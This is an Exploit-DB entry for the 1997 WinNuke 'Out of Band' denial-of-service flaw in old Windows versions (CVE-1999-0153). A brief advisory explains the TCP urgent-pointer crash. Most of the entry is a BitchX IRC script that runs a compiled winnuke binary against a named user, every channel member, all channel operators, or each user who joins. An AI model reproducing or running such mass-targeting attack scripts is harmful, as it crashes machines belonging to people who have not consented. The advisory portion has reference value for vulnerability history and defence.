Exploit Microsoft Windows 3.11/95/NT 4.0/NT 3.5.1 - 'Out Of Band' Data Denial of Service (4)

[Exploiter]

EDB-ID

20440

Проверка EDB

1. Пройдено

Автор

MADDOG & LERPER

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-1999-0153

Дата публикации

1997-05-07

source: https://www.securityfocus.com/bid/2010/info
   
Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data.
   
According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. "
   
As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding.
   
Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. 

# WinNuke BitchX IRC script/wnuke package v 1.5
# Created by maddog and lerper
# [email protected], [email protected]

#      WinNuke IRCers with several options:
#      the nick you define
#      all of the ops in your current channel
#      anyone who joins a channel
#      everyone in the channel

# Creditz:
# goes out to _eci for winnuke
# #BitchX for their great support
# #ircII for pretending to be asleep whenever i asked for help
# #hack for the laughs (hey--they were talking about vibrators last night)
# Micro$oft for hosting the hacking channels on comic chat
# KL and his LPLC LAX
# shout outs to the L0pht and hey to memebers of  "CdC"

# notice: this package was created so more people could learn about winnuke
# and more winblows users could patch themeslves up.
# NOT so lame ircers could have their kicks

#Before using this script, compile the included winnuke.c
#cc -owinnuke winnuke.c should do the job!
#If you have a GNU compiler...replace the cc with gcc
#Then move the executable into your /usr/local/bin directory and
#chmod it with the access levels you wish.

assign wnuke_pgm wnuke
assign wn [wnuke w/ mass nuke features]
assign wi [winnuke commands]
eval echo $wn version 1.5 loading... [ by: maddog and the lerper ]
eval echo $wn type /whelp for commands

alias whelp {
  eval echo $wi /wnuke <nick> - sends a win nuke to someone
  eval echo $wi /mwnuke - sends a win nuke to everyone on a chan
  eval echo $wi /awnuke - when someone joins, it nukes them too, effective
with
mwnuke
  eval echo $wi /opwnuke - sends a win nuke to all ops
}

alias wnuke {
   if ([$0]) {
      ^on ^311 "*" {^assign ndomain $3}
      ^on ^319 "*" #
      ^whois $0
      wait
      EVAL ^exec winnuke $1 $ndomain >/dev/null &
      echo [wnuke] sent wnuke to $0 at $ndomain requested\.
      ^on 311 - "*"
      ^on 319 - "*"
      ^assign -ndomain
   }
   {
      echo
      echo Usage: /wnuke <nick>
   }
}
/on -join * {@joinvar=[$0]}
alias awnuke { /on -join * {/wnuke $0}}
alias mwnuke { fe ($chanusers()) blah { /wnuke $blah }}
alias opwnuke { fe ($chops()) blah { /wnuke $blah }}